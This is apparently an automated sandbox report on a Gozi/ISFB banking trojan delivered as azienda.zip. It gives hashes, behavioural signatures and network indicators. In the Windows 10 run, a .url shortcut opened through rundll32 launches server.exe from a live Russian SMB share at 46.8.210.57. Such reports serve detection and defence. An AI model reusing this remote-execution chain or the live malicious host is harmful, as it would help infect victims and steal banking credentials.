Malware Analysis Report

2025-08-11 01:44

Sample ID 230308-l7pa9afc64
Target azienda.zip
SHA256 b57e90f3f5326920735a5ebc884b4ad1b28e97b48bba4615ab6e7092ea386bd2
Tags
gozi 7711 banker isfb trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

b57e90f3f5326920735a5ebc884b4ad1b28e97b48bba4615ab6e7092ea386bd2

Threat Level: Known bad

The file azienda.zip was found to be: Known bad.

Malicious Activity Summary

gozi 7711 banker isfb trojan

Gozi

Checks computer location settings

Enumerates physical storage devices

Suspicious behavior: GetForegroundWindowSpam

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-03-08 10:10

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-03-08 10:10

Reported

2023-03-08 10:13

Platform

win7-20230220-en

Max time kernel

125s

Max time network

33s

Command Line

"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\azienda\azienda.url

Signatures

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Windows\System32\rundll32.exe N/A

Processes

C:\Windows\System32\rundll32.exe

"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\azienda\azienda.url

Network

N/A

Files

memory/1368-54-0x0000000001DF0000-0x0000000001DF1000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-03-08 10:10

Reported

2023-03-08 10:13

Platform

win10v2004-20230220-en

Max time kernel

143s

Max time network

148s

Command Line

"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\azienda\azienda.url

Signatures

Gozi

banker trojan gozi

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation C:\Windows\System32\rundll32.exe N/A

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3184 wrote to memory of 3100 N/A C:\Windows\System32\rundll32.exe \??\UNC\46.8.210.57\Agenzia\server.exe
PID 3184 wrote to memory of 3100 N/A C:\Windows\System32\rundll32.exe \??\UNC\46.8.210.57\Agenzia\server.exe
PID 3184 wrote to memory of 3100 N/A C:\Windows\System32\rundll32.exe \??\UNC\46.8.210.57\Agenzia\server.exe

Processes

C:\Windows\System32\rundll32.exe

"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\azienda\azienda.url

\??\UNC\46.8.210.57\Agenzia\server.exe

"\\46.8.210.57\Agenzia\server.exe"

Network

Country Destination Domain Proto
RU 46.8.210.57:445 tcp
NL 84.53.175.11:80 tcp
NL 84.53.175.11:80 tcp
US 209.197.3.8:80 tcp
US 8.8.8.8:53 57.210.8.46.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 210.81.184.52.in-addr.arpa udp
US 8.8.8.8:53 76.38.195.152.in-addr.arpa udp
US 8.8.8.8:53 38.146.190.20.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
NL 173.223.113.164:443 tcp
US 209.197.3.8:80 tcp
US 209.197.3.8:80 tcp
US 93.184.220.29:80 tcp
US 204.79.197.203:80 tcp
NL 173.223.113.131:80 tcp
US 204.79.197.203:80 tcp
US 8.8.8.8:53 234.238.32.23.in-addr.arpa udp
US 8.8.8.8:53 checklist.skype.com udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp

Files

memory/3100-134-0x0000000000560000-0x000000000056B000-memory.dmp

memory/3100-135-0x00000000021E0000-0x00000000021ED000-memory.dmp

memory/3100-138-0x0000000000400000-0x000000000044C000-memory.dmp